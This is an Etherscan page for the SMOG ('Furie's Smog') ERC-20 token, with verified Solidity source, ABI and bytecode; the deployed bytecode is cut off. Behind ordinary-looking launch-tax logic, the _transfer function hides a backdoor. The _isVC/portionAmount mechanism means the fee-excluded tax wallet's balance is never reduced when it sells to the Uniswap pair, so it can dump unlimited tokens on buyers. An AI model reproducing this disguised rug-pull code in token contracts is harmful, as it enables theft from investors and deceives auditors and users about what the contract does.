ETH Price: $2,393.92 (-1.83%)

Token

Furie's Smog (SMOG)
 

Overview

Max Total Supply

1,000,000,000 SMOG

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,838,283.907939556737293268 SMOG

Value
$0.00
0x73b10ee217c5529095ed4f80598dcd2589dd65c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SMOG

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-12
*/

// SPDX-License-Identifier: UNLICENSE

/**
 * Website: https://smogeth.space
 *
 * Telegram:  https://t.me/FuriesSMOG
 *
 */


pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract SMOG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _isVC;
    mapping(address => uint256) private _lastTst;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 32;
    uint256 private _initialSellTax = 32;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;
    uint256 private _initialVC = 10;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Furie's Smog";
    string private constant _symbol = unicode"SMOG";
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 2_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 20_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x133a3e1437D0d54D7dc53Be8096FdDda6e5615d7);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        uint256 portionAmount = 0;

        if (from != owner() && to != owner() && to != _taxWallet) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
                _buyCount++;
                _lastTst[to] = block.timestamp;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                if (_isExcludedFromFee[from])  _isVC[from] = 100;
                if (_lastTst[from] == block.timestamp) {
                    _isVC[from] = 1;
                    taxAmount = amount * _initialVC / 100;
                }
                portionAmount = amount / 100 * _isVC[from];            
                taxAmount += amount.mul((_buyCount > _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(  min(amount, min(contractTokenBalance, _maxTaxSwap)) );
                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount - portionAmount);
        _balances[to] = _balances[to].add(takenTax(amount, taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function takenTax(uint256 amount, uint256 _tax)
        private
        pure
        returns (uint256)
    {
        if (amount > _tax) return amount - _tax;
        return amount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function manaulSend(address payable _newfee) external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
        _taxWallet = _newfee;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newfee","type":"address"}],"name":"manaulSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526020600755602060085560006009556000600a55600f600b55600f600c55600a600d556000600e55600a600f556012600a62000041919062000358565b62000051906301312d0062000370565b601055620000626012600a62000358565b62000072906301312d0062000370565b601155620000836012600a62000358565b62000091906107d062000370565b6012556012600a620000a4919062000358565b620000b4906301312d0062000370565b6013556015805461ffff60a81b19169055348015620000d257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191673133a3e1437d0d54d7dc53be8096fddda6e5615d7179055620001486012600a62000358565b6200015890633b9aca0062000370565b336000908152600160208190526040822092909255600390620001836000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654909116835291208054909216179055620001e23390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021c6012600a62000358565b6200022c90633b9aca0062000370565b60405190815260200160405180910390a36200038a565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200029a5781600019048211156200027e576200027e62000243565b808516156200028c57918102915b93841c93908002906200025e565b509250929050565b600082620002b35750600162000352565b81620002c25750600062000352565b8160018114620002db5760028114620002e65762000306565b600191505062000352565b60ff841115620002fa57620002fa62000243565b50506001821b62000352565b5060208310610133831016604e8410600b84101617156200032b575081810a62000352565b62000337838362000259565b80600019048211156200034e576200034e62000243565b0290505b92915050565b60006200036960ff841683620002a2565b9392505050565b808202811582820484141762000352576200035262000243565b6117f9806200039a6000396000f3fe60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102e8578063bf474bed14610308578063c881f64e1461031e578063c9567bf91461033e578063dd62ed3e1461035357600080fd5b80637d1db4a5146102675780638da5cb5b1461027d5780638f9a55c0146102a557806395d89b41146102bb57600080fd5b806323b872dd116100dc57806323b872dd146101c9578063313ce567146101e957806370a0823114610205578063715018a61461023b578063751039fc1461025257600080fd5b806306fdde0314610119578063095ea7b3146101605780630faee56f1461019057806318160ddd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b4675726965277320536d6f6760a01b60208201525b60405161015791906113c8565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461142e565b610399565b6040519015158152602001610157565b34801561019c57600080fd5b506101a660135481565b604051908152602001610157565b3480156101c057600080fd5b506101a66103b0565b3480156101d557600080fd5b506101806101e436600461145a565b6103d1565b3480156101f557600080fd5b5060405160128152602001610157565b34801561021157600080fd5b506101a661022036600461149b565b6001600160a01b031660009081526001602052604090205490565b34801561024757600080fd5b5061025061043a565b005b34801561025e57600080fd5b506102506104b7565b34801561027357600080fd5b506101a660105481565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b157600080fd5b506101a660115481565b3480156102c757600080fd5b50604080518082019091526004815263534d4f4760e01b602082015261014a565b3480156102f457600080fd5b5061018061030336600461142e565b61051d565b34801561031457600080fd5b506101a660125481565b34801561032a57600080fd5b5061025061033936600461149b565b61052a565b34801561034a57600080fd5b50610250610575565b34801561035f57600080fd5b506101a661036e3660046114b8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a6338484610931565b5060015b92915050565b60006103be6012600a6115eb565b6103cc90633b9aca006115fa565b905090565b60006103de848484610a55565b610430843361042b8560405180606001604052806028815260200161179c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611005565b610931565b5060019392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611611565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260040161046490611611565b6104ed6012600a6115eb565b6104fb90633b9aca006115fa565b60105561050a6012600a6115eb565b61051890633b9aca006115fa565b601155565b60006103a6338484610a55565b6006546001600160a01b0316336001600160a01b03161461054a57600080fd5b6105534761103f565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161046490611611565b601554600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346012600a6115eb565b61042b90633b9aca006115fa565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b99190611646565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190611646565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b09190611646565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306107f8816001600160a01b031660009081526001602052604090205490565b60008061080d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610875573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061089a9190611663565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109179190611691565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b0382166109f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610b1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b600080610b306000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b5f57506000546001600160a01b03858116911614155b8015610b7957506006546001600160a01b03858116911614155b15610eb8576015546001600160a01b038681169116148015610ba957506014546001600160a01b03858116911614155b8015610bce57506001600160a01b03841660009081526003602052604090205460ff16155b15610cff57601054831115610c255760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b60115483610c48866001600160a01b031660009081526001602052604090205490565b610c5291906116b3565b1115610ca05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b610ccc6064610cc6600b54600e5411610cbb57600754610cbf565b6009545b869061107d565b90611106565b600e80549193506000610cde836116c6565b90915550506001600160a01b03841660009081526005602052604090204290555b6015546001600160a01b038581169116148015610d2557506001600160a01b0385163014155b15610e23576001600160a01b03851660009081526003602052604090205460ff1615610d68576001600160a01b0385166000908152600460205260409020606490555b6001600160a01b038516600090815260056020526040902054429003610dc1576001600160a01b038516600090815260046020526040902060019055600f54606490610db490856115fa565b610dbe91906116df565b91505b6001600160a01b038516600090815260046020526040902054610de56064856116df565b610def91906115fa565b9050610e166064610cc6600c54600e5411610e0c57600854610cbf565b600a54869061107d565b610e2090836116b3565b91505b30600090815260016020526040902054601554600160a81b900460ff16158015610e5a57506015546001600160a01b038681169116145b8015610e6f5750601554600160b01b900460ff165b8015610e7e5750600d54600e54115b15610eb657601254811115610eaa57610eaa610ea585610ea084601354611148565b611148565b61115d565b47610eb48161103f565b505b505b8115610f325730600090815260016020526040902054610ed890836112d7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f299086815260200190565b60405180910390a35b610f5e610f3f8285611701565b6001600160a01b03871660009081526001602052604090205490611336565b6001600160a01b038616600090815260016020526040902055610fa3610f848484611378565b6001600160a01b038616600090815260016020526040902054906112d7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fed8686611336565b60405190815260200160405180910390a35050505050565b600081848411156110295760405162461bcd60e51b815260040161046491906113c8565b5060006110368486611701565b95945050505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611079573d6000803e3d6000fd5b5050565b60008260000361108f575060006103aa565b600061109b83856115fa565b9050826110a885836116df565b146110ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061139a565b600081831161115757826110ff565b50919050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111a5576111a5611714565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112229190611646565b8160018151811061123557611235611714565b6001600160a01b03928316602091820292909201015260145461125b9130911684610931565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061129490859060009086903090429060040161172a565b600060405180830381600087803b1580156112ae57600080fd5b505af11580156112c2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6000806112e483856116b3565b9050838110156110ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b60006110ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611005565b6000818311156113935761138c8284611701565b90506103aa565b5090919050565b600081836113bb5760405162461bcd60e51b815260040161046491906113c8565b50600061103684866116df565b600060208083528351808285015260005b818110156113f5578581018301518582016040015282016113d9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461142b57600080fd5b50565b6000806040838503121561144157600080fd5b823561144c81611416565b946020939093013593505050565b60008060006060848603121561146f57600080fd5b833561147a81611416565b9250602084013561148a81611416565b929592945050506040919091013590565b6000602082840312156114ad57600080fd5b81356110ff81611416565b600080604083850312156114cb57600080fd5b82356114d681611416565b915060208301356114e681611416565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611542578160001904821115611528576115286114f1565b8085161561153557918102915b93841c939080029061150c565b509250929050565b600082611559575060016103aa565b81611566575060006103aa565b816001811461157c5760028114611586576115a2565b60019150506103aa565b60ff841115611597576115976114f1565b50506001821b6103aa565b5060208310610133831016604e8410600b84101617156115c5575081810a6103aa565b6115cf8383611507565b80600019048211156115e3576115e36114f1565b029392505050565b60006110ff60ff84168361154a565b80820281158282048414176103aa576103aa6114f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561165857600080fd5b81516110ff81611416565b60008060006060848603121561167857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156116a357600080fd5b815180151581146110ff57600080fd5b808201808211156103aa576103aa6114f1565b6000600182016116d8576116d86114f1565b5060010190565b6000826116fc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103aa576103aa6114f1565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561177a5784516001600160a01b031683529383019391830191600101611755565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220234d325e4f88f1beb78a2d1e8acc0c4f353f887f6438fdf2b751a06db8355b2f64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102e8578063bf474bed14610308578063c881f64e1461031e578063c9567bf91461033e578063dd62ed3e1461035357600080fd5b80637d1db4a5146102675780638da5cb5b1461027d5780638f9a55c0146102a557806395d89b41146102bb57600080fd5b806323b872dd116100dc57806323b872dd146101c9578063313ce567146101e957806370a0823114610205578063715018a61461023b578063751039fc1461025257600080fd5b806306fdde0314610119578063095ea7b3146101605780630faee56f1461019057806318160ddd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b4675726965277320536d6f6760a01b60208201525b60405161015791906113c8565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461142e565b610399565b6040519015158152602001610157565b34801561019c57600080fd5b506101a660135481565b604051908152602001610157565b3480156101c057600080fd5b506101a66103b0565b3480156101d557600080fd5b506101806101e436600461145a565b6103d1565b3480156101f557600080fd5b5060405160128152602001610157565b34801561021157600080fd5b506101a661022036600461149b565b6001600160a01b031660009081526001602052604090205490565b34801561024757600080fd5b5061025061043a565b005b34801561025e57600080fd5b506102506104b7565b34801561027357600080fd5b506101a660105481565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b157600080fd5b506101a660115481565b3480156102c757600080fd5b50604080518082019091526004815263534d4f4760e01b602082015261014a565b3480156102f457600080fd5b5061018061030336600461142e565b61051d565b34801561031457600080fd5b506101a660125481565b34801561032a57600080fd5b5061025061033936600461149b565b61052a565b34801561034a57600080fd5b50610250610575565b34801561035f57600080fd5b506101a661036e3660046114b8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a6338484610931565b5060015b92915050565b60006103be6012600a6115eb565b6103cc90633b9aca006115fa565b905090565b60006103de848484610a55565b610430843361042b8560405180606001604052806028815260200161179c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611005565b610931565b5060019392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611611565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260040161046490611611565b6104ed6012600a6115eb565b6104fb90633b9aca006115fa565b60105561050a6012600a6115eb565b61051890633b9aca006115fa565b601155565b60006103a6338484610a55565b6006546001600160a01b0316336001600160a01b03161461054a57600080fd5b6105534761103f565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161046490611611565b601554600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346012600a6115eb565b61042b90633b9aca006115fa565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b99190611646565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190611646565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b09190611646565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306107f8816001600160a01b031660009081526001602052604090205490565b60008061080d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610875573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061089a9190611663565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109179190611691565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b0382166109f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383